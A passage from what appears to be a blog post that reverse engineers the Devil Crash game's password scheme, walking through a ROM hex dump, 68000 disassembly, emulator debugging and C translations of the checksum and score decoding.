00006f40: 0f 3c 00 07 44 45 56 49 4c 43 52 41 53 48 00 00 .<..DEVILCRASH..
00006f50: 02 a8 00 10 31 36 42 49 54 36 38 30 30 30 00 00 ....16BIT68000..
00006f60: 27 10 00 03 50 4c 41 5a 4d 41 4c 49 4e 45 00 00 '...PLAZMALINE..
00006f70: 03 09 00 07 4c 55 43 4b 59 4c 55 43 4b 59 00 00 ....LUCKYLUCKY..
00006f80: 00 00 00 00 30 30 30 30 30 30 30 30 30 30 00 32 ....0000000000.2
00006f90: dc d5 00 21 26 26 53 41 4e 44 41 41 26 26 00 00 ...!&&SANDAA&&..
00006fa0: 12 29 00 0a 54 46 32 48 5a 54 46 33 45 4d 00 00 .)..TF2HZTF3EM..
</code></pre></div></div>
<p>Interesting. The distance between the passwords was always the same (6 bytes +
10 bytes for the password itself). This looked a lot like a table, just as
expected.</p>
<p>At this point, it is important for me to mention a few things I’ve observed
from running the game:</p>
<ul>
<li>The score in the game is 9 characters long.</li>
<li>The two least significant digits of the score are always 00.</li>
</ul>
<p>So, I took one of the passwords, and decided to have a closer look. Looking at
the <code class="language-plaintext highlighter-rouge">TF2HZTF3EM</code> one, we have the score <em>0464900</em>. Translating this number to
hex gives us <em>0x71804</em>. Looking at the above table there isn’t such a value.</p>
<p>It took me a little bit to connect the dots here. The last two digits of the
score never change, so I thought it would be safe to assume that those two
digits aren’t even stored in the score. I removed the <em>00</em> at the end of the
score and got <em>4649</em>, which converted to hex is <em>0x1229</em>. Going back to the table
above, we can see that value in the addres <code class="language-plaintext highlighter-rouge">0x6fa0</code>. Let’s try that for
some of the other scores.</p>
<table>
<thead>
<tr>
<th style="text-align: left">Password</th>
<th style="text-align: center">Score</th>
<th style="text-align: center">Balls</th>
<th style="text-align: center">Score Hex (without 00 at the end)</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left">0000000000</td>
<td style="text-align: center">0000000</td>
<td style="text-align: center">0</td>
<td style="text-align: center">0x0000</td>
</tr>
<tr>
<td style="text-align: left">DEVILCRASH</td>
<td style="text-align: center">0390000</td>
<td style="text-align: center">7</td>
<td style="text-align: center">0x0f96</td>
</tr>
<tr>
<td style="text-align: left">16BIT68000</td>
<td style="text-align: center">0068000</td>
<td style="text-align: center">16</td>
<td style="text-align: center">0x02a8</td>
</tr>
<tr>
<td style="text-align: left">LUCKYLUCKY</td>
<td style="text-align: center">0077700</td>
<td style="text-align: center">7</td>
<td style="text-align: center">0x0309</td>
</tr>
<tr>
<td style="text-align: left">TECHNOSOFT</td>
<td style="text-align: center">2000000</td>
<td style="text-align: center">10</td>
<td style="text-align: center">0x07d0</td>
</tr>
<tr>
<td style="text-align: left">TF2HZTF3EM</td>
<td style="text-align: center">0464900</td>
<td style="text-align: center">10</td>
<td style="text-align: center">0x1229</td>
</tr>
</tbody>
</table>
<p>We can see that these values match what is in the hex dump above.</p>
<p>Looking at the two bytes that follow each of the scores, it seems that those
numbers match the number of balls. The only thing missing are the two bytes
before of what was so far established as being the score. I have modified those
bytes manually and started the game with them modified, just to find out that
they are also part of the score (it makes sense, the maximum score would be
9999999, which needs at least 3 bytes to be represented, so they used 4 bytes
to make it easy).</p>
<p>Here is a nicely highlighted version of it:</p>
<pre class="highlight">
<code>
00006f90: dc d5 00 21 26 26 53 41 4e 44 41 41 26 26 <font class="highlight1">00 00</font> ...!&&SANDAA&&..
00006fa0: <font class="highlight1">12 29</font> <font class="highlight2">00 0a</font> <font class="highlight3">54 46 32 48 5a 54 46 33 45 4d</font> 00 00 .)..TF2HZTF3EM..
</code>
</pre>
<p>The color code is:</p>
<pre class="highlight"><code><font class="highlight1">Score</font>
<font class="highlight2">Balls</font>
<font class="highlight3">Password</font></code>
</pre>
<p>To summarize it then, we have a table of passwords starting at address <code class="language-plaintext highlighter-rouge">0x6eae</code>
where each entry is 16 bytes long and has the following format:</p>
<pre class="highlight">
<code>[<b>4 bytes</b>][<b>2 bytes</b>][<b>10 bytes</b>]
[<b> score </b>][<b> balls </b>][<b>password</b>]</code>
</pre>
<p>All this information is great. It tells us how the game stores the score
and number of balls, and that somewhere it must be checking the passwords
against this table before executing whatever algorithm it uses to validate
that a password is correct and then decoding it to restore the score and number
of balls that the player has.</p>
<p>I proceed to look for a place where the game would be accessing this table of
passwords, and was unable to find it. I used IDA to decompile the ROM, and
using IDA’s search feature I wasn’t really able to find any code that was
accessing the address where the table started. It drove me nuts, because it
meant I was getting something wrong that I couldn’t figure out.</p>
<p>I needed a new approach on how to figure out where the game was validating the
password entered by the user. I spent a lot of time trying to work just with
the disassembly of the ROM and seeing if I could find it, by searching for
specific addresses that I believed would be related to the password validation.</p>
<p><em>No luck with that.</em></p>
<p>At this point, I was considering writing my own emulator just so I could set
some breakpoints in the ROM to try to figure this out. While doing this would
have been awesome, I would probably not be writing this text since I would
still be coding. With the plethora of emulators out there, there had to be at
least one with decent debugging capabilities (turns out, there is one). Looking
around, I found <a href="http://www.mess.org/" target="_blank">MESS</a> that has some
sort of debugging capabilities. The debugger was pretty limited, with an
interface that was not easy to use (especially in a window manager) and lacking
some functions that I wanted such as exporting the RAM contents to a file or
even an easy way of searching for data in RAM.</p>
<p>Nevertheless, I ended up using it for some time and thanks to it I figured out where the
password was being stored in RAM as I typed it in the password screen.</p>
<p>It would be pretty logical to believe that the password validation logic had to read
this address in order to validate it. Looking at IDA again, I had no luck
finding any code accessing this part of the memory other than the
initialization routine that would clear it when the game first starts.</p>
<p>The address where the password was being stored as the player types it in the
password screen is <code class="language-plaintext highlighter-rouge">0xFFF02E</code>. This is the logic that cleans it up during
initialization:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">lea</span> <span class="p">(</span><span class="kc">$</span><span class="nv">FFFFF02E</span><span class="p">)</span><span class="nv">.w</span><span class="p">,</span><span class="nv">a0</span>
<span class="nf">move.l</span> <span class="err">#</span><span class="kc">$</span><span class="mi">26262626</span><span class="p">,</span><span class="nv">d0</span>
<span class="nf">move.l</span> <span class="nv">d0</span><span class="p">,(</span><span class="nv">a0</span><span class="p">)</span><span class="o">+</span>
<span class="nf">move.l</span> <span class="nv">d0</span><span class="p">,(</span><span class="nv">a0</span><span class="p">)</span><span class="o">+</span>
<span class="nf">move.w</span> <span class="nv">d0</span><span class="p">,(</span><span class="nv">a0</span><span class="p">)</span><span class="o">+</span>
<span class="nf">move.l</span> <span class="nv">d0</span><span class="p">,(</span><span class="nv">a0</span><span class="p">)</span><span class="o">+</span>
<span class="nf">move.l</span> <span class="nv">d0</span><span class="p">,(</span><span class="nv">a0</span><span class="p">)</span><span class="o">+</span>
<span class="nf">move.l</span> <span class="nv">d0</span><span class="p">,(</span><span class="nv">a0</span><span class="p">)</span><span class="o">+</span>
<span class="nf">move.l</span> <span class="nv">d0</span><span class="p">,(</span><span class="nv">a0</span><span class="p">)</span><span class="o">+</span>
<span class="nf">move.l</span> <span class="nv">d0</span><span class="p">,(</span><span class="nv">a0</span><span class="p">)</span><span class="o">+</span>
</code></pre></div></div>
<p>Again, I hit a dead end that was driving me crazy. I was again considering
writing my own emulator, but before that I decided to try to look for one more
emulator with debugging capabilities and try to extend those to do what I
wanted.</p>
<p>After some poking around I ended up finding
<a href="http://dgen.sourceforge.net/" target="_blank">DGEN</a> . This is a pretty cool
emulator, that has been around for a while and which development seems to have
ceased sometime around 2014. Still, it had a really cool debugger, that while
still missing at least the feature of dumping the whole RAM to a file, had a
great text based user interface that resembled a bit of GDB. Its source code is
also pretty straight forward to read.</p>
<p>This was it then, I was going to use this emulator and add new features to the
debugger as I needed. I started by adding a feature to dump the RAM to a user
specified file, and the code is available
<a href="https://github.com/typoon/dgen/tree/typoon" target="_blank">here</a>. Turns out
that was all the code I needed to write. The debugger had this really cool
feature to watch addresses for changes, so I set a watchpoint on the address
where the user password was being stored as it is being entered in the password
screen and voila! The debugger breaks in a piece of code I had never seen
before. I went back to IDA to see why I had missed that part of the code, and
turns out that IDA did not decompile that; it was still showing in IDA as data.
I forced IDA to use that address as a code segment and poof! All of a sudden I
have a nice piece of code that seems to be validating the password entered by
the user. I was really lucky at this point, because the logic that writes the
password to the screen and that validates it seemed to be together.</p>
<p>Here is the magic piece of assembly code that I found (don’t worry if it does
not make sense, I will explain it right after as well as show a translation to
C of what it is doing):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ROM:6D1C loc_6D1C: ; CODE XREF: ROM:6C0Aj
ROM:6D1C moveq #0,d3
ROM:6D1E lea ($FFFFF632).w,a3
ROM:6D22 lea ($FFFFF636).w,a4
ROM:6D26 lea ($FFFFF02E).w,a0
ROM:6D2A tst.w ($FFFFF62A).w
ROM:6D2E beq.s TestHardcodedPasswords
ROM:6D30 lea ($FFFFF038).w,a0
ROM:6D34 bra.s ValidatePassword
ROM:6D36 ;
---------------------------------------------------------------------------
ROM:6D36
ROM:6D36 TestHardcodedPasswords: ; CODE XREF: ROM:6D2Ej
ROM:6D36 lea ($6EAE).l,a1
ROM:6D3C moveq #0,d4
ROM:6D3E moveq #$10,d6
ROM:6D40
ROM:6D40 loc_6D40: ; CODE XREF: ROM:6DA4j
ROM:6D40 moveq #0,d5
ROM:6D42 move.l (a1)+,d0
ROM:6D44 move.w (a1)+,d1
ROM:6D46 addq.w #1,d1
ROM:6D48 lea (a0),a2
ROM:6D4A moveq #9,d7
ROM:6D4C
ROM:6D4C loc_6D4C: ; CODE XREF: ROM:loc_6D52j
ROM:6D4C cmpm.b (a1)+,(a2)+
ROM:6D4E beq.s loc_6D52
ROM:6D50 moveq #$FFFFFFFF,d5
ROM:6D52
ROM:6D52 loc_6D52: ; CODE XREF: ROM:6D4Ej
ROM:6D52 dbf d7,loc_6D4C
ROM:6D56 tst.w d5
ROM:6D58 bne.s loc_6DA2
ROM:6D5A cmp.w #8,d4
ROM:6D5E bcc.w StartGame?
ROM:6D62 cmp.w #6,d4
ROM:6D66 bne.s loc_6D72
ROM:6D68 move.b #$FF,($FFFFF647).w
ROM:6D6E bra.w loc_6E72
ROM:6D72 ;
---------------------------------------------------------------------------
ROM:6D72
ROM:6D72 loc_6D72: ; CODE XREF: ROM:6D66j
ROM:6D72 cmp.w #7,d4
ROM:6D76 bne.s loc_6D82
ROM:6D78 move.b #$FE,($FFFFF647).w
ROM:6D7E bra.w loc_6E72
ROM:6D82 ;
---------------------------------------------------------------------------
ROM:6D82
ROM:6D82 loc_6D82: ; CODE XREF: ROM:6D76j
ROM:6D82 moveq #0,d0
ROM:6D84 moveq #3,d1
ROM:6D86 cmp.w #5,d4
ROM:6D8A bne.s loc_6D96
ROM:6D8C move.w #$FFFF,($FFFFF73C).w
ROM:6D92 bra.w StartGame?
ROM:6D96 ;
---------------------------------------------------------------------------
ROM:6D96
ROM:6D96 loc_6D96: ; CODE XREF: ROM:6D8Aj
ROM:6D96 addi.w #$11,d4
ROM:6D9A move.w d4,($FFFFF73C).w
ROM:6D9E bra.w StartGame?
ROM:6DA2 ;
---------------------------------------------------------------------------
ROM:6DA2
ROM:6DA2 loc_6DA2: ; CODE XREF: ROM:6D58j
ROM:6DA2 addq.w #1,d4
ROM:6DA4 dbf d6,loc_6D40
ROM:6DA8
ROM:6DA8 ValidatePassword: ; CODE XREF: ROM:6D34j
ROM:6DA8 ; ROM:6E52Fj
ROM:6DA8 bsr.w ReadPassCharIntoD2
ROM:6DAC move.w d2,d5
ROM:6DAE add.w d5,d5
ROM:6DB0 add.w d5,d5
ROM:6DB2 add.w d5,d5
ROM:6DB4 bsr.w ReadPassCharIntoD2
ROM:6DB8 move.w d2,d6
ROM:6DBA and.w #3,d6
ROM:6DBE lsr.w #2,d2
ROM:6DC0 or.w d2,d5
ROM:6DC2 move.w d6,d4
ROM:6DC4 addq.w #1,d4
ROM:6DC6 movea.l a0,a1
ROM:6DC8 moveq #$4D,d0 ; 'M'
ROM:6DCA move.b (a1)+,d0
ROM:6DCC ror.b #7,d0
ROM:6DCE moveq #6,d7
ROM:6DD0
ROM:6DD0 loc_6DD0: ; CODE XREF: ROM:6DD6j
ROM:6DD0 move.b (a1)+,d2
ROM:6DD2 ror.b d7,d2
ROM:6DD4 eor.b d2,d0
ROM:6DD6 dbf d7,loc_6DD0
ROM:6DDA cmp.b d5,d0
ROM:6DDC bne.w WrongPassword?
ROM:6DE0 moveq #0,d0
ROM:6DE2 moveq #5,d7
ROM:6DE4
ROM:6DE4 loc_6DE4: ; CODE XREF: ROM:6DEEj
ROM:6DE4 bsr.w ReadPassCharIntoD2
ROM:6DE8 sub.w d4,d2
ROM:6DEA lsl.l #5,d0
ROM:6DEC or.w d2,d0
ROM:6DEE dbf d7,loc_6DE4
ROM:6DF2 add.l d0,d0
ROM:6DF4 add.l d0,d0
ROM:6DF6 bsr.w ReadPassCharIntoD2
ROM:6DFA sub.w d4,d2
ROM:6DFC move.w d2,d1
ROM:6DFE and.w #7,d1
ROM:6E02 lsl.w #5,d1
ROM:6E04 lsr.w #3,d2
ROM:6E06 or.w d2,d0
ROM:6E08 bsr.w ReadPassCharIntoD2
ROM:6E0C sub.w d4,d2
ROM:6E0E or.w d2,d1
ROM:6E10 lea ($6A88).l,a2
ROM:6E16 add.w d6,d6
ROM:6E18 add.w d6,d6
ROM:6E1A add.w d6,d6
ROM:6E1C lea (a2,d6.w),a2
ROM:6E20 move.l (a2)+,d2
ROM:6E22 eor.l d2,d0
ROM:6E24 move.b (a2),d2
ROM:6E26 eor.b d2,d1
ROM:6E28 cmp.l #$98967F,d0
ROM:6E2E bls.s loc_6E32
ROM:6E30 bra.s WrongPassword?
ROM:6E32 ;
---------------------------------------------------------------------------
ROM:6E32
ROM:6E32 loc_6E32: ; CODE XREF: ROM:6E2Ej
ROM:6E32 cmp.w #$64,d1 ; 'd'
ROM:6E36 bls.s StartGame?
ROM:6E38 bra.s WrongPassword?
; ...
ROM:6E8E ; =============== S U B R O U T I N E ===============================
ROM:6E8E ReadPassCharIntoD2: ; CODE XREF: ROM:ValidatePasswordp
ROM:6E8E ; ROM:6DB4p ...
ROM:6E8E clr.w d2
ROM:6E90 move.b (a0)+,d2
ROM:6E92 cmp.w #$39,d2 ; '9'
ROM:6E96 bls.s loc_6E9A
ROM:6E98 subq.w #7,d2
ROM:6E9A
ROM:6E9A loc_6E9A: ; CODE XREF:
ReadPassCharIntoD2+8j
ROM:6E9A subi.w #$30,d2 ; '0'
ROM:6E9E rts
ROM:6E9E ; End of function ReadPassCharIntoD2
</code></pre></div></div>
<p>That is a lot of assembly. Some things to know about the above code:</p>
<ul>
<li>Register <code class="language-plaintext highlighter-rouge">d0</code> is where the score is stored</li>
<li>Register <code class="language-plaintext highlighter-rouge">d1</code> is where the number of balls is stored</li>
<li>Register <code class="language-plaintext highlighter-rouge">d2</code> is used to perform the logic over the password</li>
<li>Register <code class="language-plaintext highlighter-rouge">a0</code> points to address <code class="language-plaintext highlighter-rouge">$FFFFF02E</code>. This is where the typed password
is stored in RAM</li>
<li>Address <code class="language-plaintext highlighter-rouge">$6EAE</code> is where the table of hardcoded passwords start</li>
<li>Address <code class="language-plaintext highlighter-rouge">$6A88</code> holds a table of chars that is used as some sort of mask
when generating the password by XORing it with the score and number of balls</li>
</ul>
<p>The above code is the logic that validates the password entered by the player.
It reads the password entered and decodes it to extract the score and number of
balls as well as validate a checksum. That is the gist of it.</p>
<h1 id="the-validation-logic">The validation logic</h1>
<p>The first part of the code is just checking if the entered password is in the
table of hardcoded passwords discussed before. If it is there, it just loads
the balls and score from the table and starts the game. That is not what I am
intereted in. The logic that follows is what interests me; that is when the
password is broken down to pieces to check if it is valid and derive the score
and number of balls from it.</p>
<p>First thing that is defined is a function that converts the ASCII characters to
a number in the range from 0x00 to 0x23. That is what I called
<code class="language-plaintext highlighter-rouge">decodePassChar</code> above. It takes a char in the [A-Z0-9] range and converts
to a number, according to the following logic:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kt">char</span> <span class="nf">decodePassChar</span><span class="p">(</span><span class="kt">char</span> <span class="n">p</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="n">p</span> <span class="o">></span> <span class="mh">0x39</span><span class="p">)</span>
<span class="n">p</span> <span class="o">-=</span> <span class="mi">7</span><span class="p">;</span>
<span class="n">p</span> <span class="o">-=</span> <span class="mh">0x30</span><span class="p">;</span>
<span class="k">return</span> <span class="n">p</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>That 7 being subtracted there is just to skip some of the chars in the ASCII
table (the ones between ‘9’ and ‘A’). Basically, this function can be replaced
with this table:</p>
<table>
<thead>
<tr>
<th style="text-align: center">p</th>
<th style="text-align: center">return</th>
<th style="text-align: center">p</th>
<th style="text-align: center">return</th>
<th style="text-align: center">p</th>
<th style="text-align: center">return</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">‘0’</td>
<td style="text-align: center">0x00</td>
<td style="text-align: center">‘C’</td>
<td style="text-align: center">0x0C</td>
<td style="text-align: center">‘O’</td>
<td style="text-align: center">0x18</td>
</tr>
<tr>
<td style="text-align: center">‘1’</td>
<td style="text-align: center">0x01</td>
<td style="text-align: center">‘D’</td>
<td style="text-align: center">0x0D</td>
<td style="text-align: center">‘P’</td>
<td style="text-align: center">0x19</td>
</tr>
<tr>
<td style="text-align: center">‘2’</td>
<td style="text-align: center">0x02</td>
<td style="text-align: center">‘E’</td>
<td style="text-align: center">0x0E</td>
<td style="text-align: center">‘Q’</td>
<td style="text-align: center">0x1A</td>
</tr>
<tr>
<td style="text-align: center">‘3’</td>
<td style="text-align: center">0x03</td>
<td style="text-align: center">‘F’</td>
<td style="text-align: center">0x0F</td>
<td style="text-align: center">‘R’</td>
<td style="text-align: center">0x1B</td>
</tr>
<tr>
<td style="text-align: center">‘4’</td>
<td style="text-align: center">0x04</td>
<td style="text-align: center">‘G’</td>
<td style="text-align: center">0x10</td>
<td style="text-align: center">‘S’</td>
<td style="text-align: center">0x1C</td>
</tr>
<tr>
<td style="text-align: center">‘5’</td>
<td style="text-align: center">0x05</td>
<td style="text-align: center">‘H’</td>
<td style="text-align: center">0x11</td>
<td style="text-align: center">‘T’</td>
<td style="text-align: center">0x1D</td>
</tr>
<tr>
<td style="text-align: center">‘6’</td>
<td style="text-align: center">0x06</td>
<td style="text-align: center">‘I’</td>
<td style="text-align: center">0x12</td>
<td style="text-align: center">‘U’</td>
<td style="text-align: center">0x1E</td>
</tr>
<tr>
<td style="text-align: center">‘7’</td>
<td style="text-align: center">0x07</td>
<td style="text-align: center">‘J’</td>
<td style="text-align: center">0x13</td>
<td style="text-align: center">‘V’</td>
<td style="text-align: center">0x1F</td>
</tr>
<tr>
<td style="text-align: center">‘8’</td>
<td style="text-align: center">0x08</td>
<td style="text-align: center">‘K’</td>
<td style="text-align: center">0x14</td>
<td style="text-align: center">‘W’</td>
<td style="text-align: center">0x20</td>
</tr>
<tr>
<td style="text-align: center">‘9’</td>
<td style="text-align: center">0x09</td>
<td style="text-align: center">‘L’</td>
<td style="text-align: center">0x15</td>
<td style="text-align: center">‘X’</td>
<td style="text-align: center">0x21</td>
</tr>
<tr>
<td style="text-align: center">‘A’</td>
<td style="text-align: center">0x0A</td>
<td style="text-align: center">‘M’</td>
<td style="text-align: center">0x16</td>
<td style="text-align: center">‘Y’</td>
<td style="text-align: center">0x22</td>
</tr>
<tr>
<td style="text-align: center">‘B’</td>
<td style="text-align: center">0x0B</td>
<td style="text-align: center">‘N’</td>
<td style="text-align: center">0x17</td>
<td style="text-align: center">‘Z’</td>
<td style="text-align: center">0x23</td>
</tr>
</tbody>
</table>
<p>There is a table with a hardcoded string that is used to XOR the number of
balls and score before encoding it into the password. That table is:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="o">*</span><span class="n">table</span> <span class="o">=</span> <span class="s">"MEGA-DRATHUNDER4GANBATTETUKURUZOA"</span><span class="p">;</span>
</code></pre></div></div>
<p>Let’s take a password generated by the game as an example: <code class="language-plaintext highlighter-rouge">QJELEORTEL</code>. This
passwords gives the player <em>3</em> balls and a score of <em>17600</em>. Keep in mind that
the game does not store the last two digits of the score since they are always
zero, so the score encoded in the password will be <em>176</em>.</p>
<p>We start by converting the characters in the password according to the table
above.</p>
<table>
<thead>
<tr>
<th style="text-align: center">Pass Letter</th>
<th>Converted</th>
<th>Converted Binary</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">Q</td>
<td>0x1A</td>
<td>0001 1010</td>
<td>b1</td>
</tr>
<tr>
<td style="text-align: center">J</td>
<td>0x13</td>
<td>0001 0011</td>
<td>b2</td>
</tr>
<tr>
<td style="text-align: center">E</td>
<td>0x0E</td>
<td>0000 1110</td>
<td>b3</td>
</tr>
<tr>
<td style="text-align: center">L</td>
<td>0x15</td>
<td>0001 0101</td>
<td>b4</td>
</tr>
<tr>
<td style="text-align: center">E</td>
<td>0x0E</td>
<td>0000 1110</td>
<td>b5</td>
</tr>
<tr>
<td style="text-align: center">O</td>
<td>0x18</td>
<td>0001 1000</td>
<td>b6</td>
</tr>
<tr>
<td style="text-align: center">R</td>
<td>0x1B</td>
<td>0001 1011</td>
<td>b7</td>
</tr>
<tr>
<td style="text-align: center">T</td>
<td>0x1D</td>
<td>0001 1101</td>
<td>b8</td>
</tr>
<tr>
<td style="text-align: center">E</td>
<td>0x0E</td>
<td>0000 1110</td>
<td>b9</td>
</tr>
<tr>
<td style="text-align: center">L</td>
<td>0x15</td>
<td>0001 0101</td>
<td>b10</td>
</tr>
</tbody>
</table>
<p>Putting that binary string together, this is what we have after the password
has been converted: <code class="language-plaintext highlighter-rouge">0001 1010 0001 0011 0000 1110 0001 0101 0000 1110 0001
1000 0001 1011 0001 1101 0000 1110 0001 0101</code>.</p>
<p>The breakdown of the password is as follows:</p>
<p><img src="/images/201701/devilcrash-password-validation.png" alt="Password breakdown" /></p>
<p>Numbers in orange are non-used values.</p>
<p>These of course, are not the values in their final form. The code now does some
transformations to the <code class="language-plaintext highlighter-rouge">XORed Balls</code> and <code class="language-plaintext highlighter-rouge">Score *</code> values, in order to
determine the final values for the number of balls and score. The <code class="language-plaintext highlighter-rouge">index</code> value
is used to determine what were the bytes from <code class="language-plaintext highlighter-rouge">table</code> that were used to XOR
the score and the number of balls and its value ranges between 0 and 3 and is
“randomly” selected (more on this when discussing the logic that generates the
passwords).</p>
<p>Starting with the <code class="language-plaintext highlighter-rouge">checksum</code>, here is how it is rebuilt and calculated.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">checksum</span> <span class="o">=</span> <span class="p">(</span><span class="n">b1</span> <span class="o"><<</span> <span class="mi">3</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">b2</span> <span class="o">>></span> <span class="mi">2</span><span class="p">);</span>
</code></pre></div></div>
<p>This is just concatenating the two parts of the checksum in a single byte. In
this case, the checksum results in <code class="language-plaintext highlighter-rouge">0xD4</code>.</p>
<p>We just need to calculate the checksum now, and see if those two values match. The
logic to calculate the checksum is:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">calc_checksum</span> <span class="o">=</span> <span class="n">rorByte</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="mi">7</span><span class="p">)</span> <span class="o">^</span> <span class="n">rorByte</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span> <span class="mi">6</span><span class="p">)</span> <span class="o">^</span>
<span class="n">rorByte</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">4</span><span class="p">],</span> <span class="mi">5</span><span class="p">)</span> <span class="o">^</span> <span class="n">rorByte</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">5</span><span class="p">],</span> <span class="mi">4</span><span class="p">)</span> <span class="o">^</span>
<span class="n">rorByte</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">6</span><span class="p">],</span> <span class="mi">3</span><span class="p">)</span> <span class="o">^</span> <span class="n">rorByte</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">7</span><span class="p">],</span> <span class="mi">2</span><span class="p">)</span> <span class="o">^</span>
<span class="n">rorByte</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">8</span><span class="p">],</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="n">rorByte</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">9</span><span class="p">],</span> <span class="mi">0</span><span class="p">);</span>
</code></pre></div></div>
<p>Where <code class="language-plaintext highlighter-rouge">password</code> is the ASCII representation of the password. In this case what
is happening then is:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">calc_checksum</span> <span class="o">=</span> <span class="n">rorByte</span><span class="p">(</span><span class="sc">'E'</span><span class="p">,</span> <span class="mi">7</span><span class="p">)</span> <span class="o">^</span> <span class="n">rorByte</span><span class="p">(</span><span class="sc">'L'</span><span class="p">,</span> <span class="mi">6</span><span class="p">)</span> <span class="o">^</span>
<span class="n">rorByte</span><span class="p">(</span><span class="sc">'E'</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span> <span class="o">^</span> <span class="n">rorByte</span><span class="p">(</span><span class="sc">'O'</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span> <span class="o">^</span>
<span class="n">rorByte</span><span class="p">(</span><span class="sc">'R'</span><span class="p">,</span> <span class="mi">3</span><span class="p">)</span> <span class="o">^</span> <span class="n">rorByte</span><span class="p">(</span><span class="sc">'T'</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span> <span class="o">^</span>
<span class="n">rorByte</span><span class="p">(</span><span class="sc">'E'</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="n">rorByte</span><span class="p">(</span><span class="sc">'L'</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</code></pre></div></div>
<p>Calculating this, gives us <code class="language-plaintext highlighter-rouge">calc_checksum = 0xD4</code>. It is a match!</p>
<p>At this point, we need to take note of the value identified as <code class="language-plaintext highlighter-rouge">index</code>, since
it is also used to “obfuscate” the score values. In our example, <code class="language-plaintext highlighter-rouge">index =
0x03</code>.</p>
<p>Considering that the calculated checksum matches the checksum that is stored in
the password, the logic follows to calculate the score associated with this
password. The maximum score possible in this game is <code class="language-plaintext highlighter-rouge">0x98967F</code>. This value
converted to binary is <code class="language-plaintext highlighter-rouge">1001 1000 1001 0110 0111 1111</code>. This is 24 bits. The
score is stored in 4 bytes in the code, meaning that the most significant byte
is always set to 0. The way the score is encoded in the password looks like
this:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// Bits are all set to 0</span>
<span class="kt">int</span> <span class="n">score_xored</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// 00000000000000000000000000000000</span>
<span class="c1">// Replacing the bits with the </span>
<span class="c1">// corresponding byte bX</span>
<span class="n">score_xored</span> <span class="o">=</span> <span class="p">(</span><span class="n">b3</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">27</span> <span class="o">|</span> <span class="c1">// 33333000000000000000000000000000</span>
<span class="p">(</span><span class="n">b4</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">22</span> <span class="o">|</span> <span class="c1">// 33333444440000000000000000000000</span>
<span class="p">(</span><span class="n">b5</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">17</span> <span class="o">|</span> <span class="c1">// 33333444445555500000000000000000</span>
<span class="p">(</span><span class="n">b6</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">12</span> <span class="o">|</span> <span class="c1">// 33333444445555566666000000000000</span>
<span class="p">(</span><span class="n">b7</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">7</span> <span class="o">|</span> <span class="c1">// 33333444445555566666777778888800</span>
<span class="p">(</span><span class="n">b8</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">2</span> <span class="o">|</span> <span class="c1">// 33333444445555566666777778888800</span>
<span class="p">(</span><span class="n">b9</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o">>></span> <span class="mi">3</span><span class="p">;</span> <span class="c1">// 33333444445555566666777778888899</span>
</code></pre></div></div>
<p>Basically what this is doing is rebuilding an int. Each of the bytes in which
the score is encoded have been incremented by <code class="language-plaintext highlighter-rouge">index + 1</code>. So, we need to subtract
that value from each of those bytes, and then rotate each one of them to their
corresponding position in a 32 bit int.</p>
<p><code class="language-plaintext highlighter-rouge">score7</code> represents the 5 most significant bits of the value, with <code class="language-plaintext highlighter-rouge">score6</code>
right next to it, and so on all the way to <code class="language-plaintext highlighter-rouge">score2</code>. This number is then
missing the 2 least significant bits, which are encoded in <code class="language-plaintext highlighter-rouge">b9</code>. This byte
was also added to <code class="language-plaintext highlighter-rouge">index + 1</code>, so we just subtract that value, shift that byte
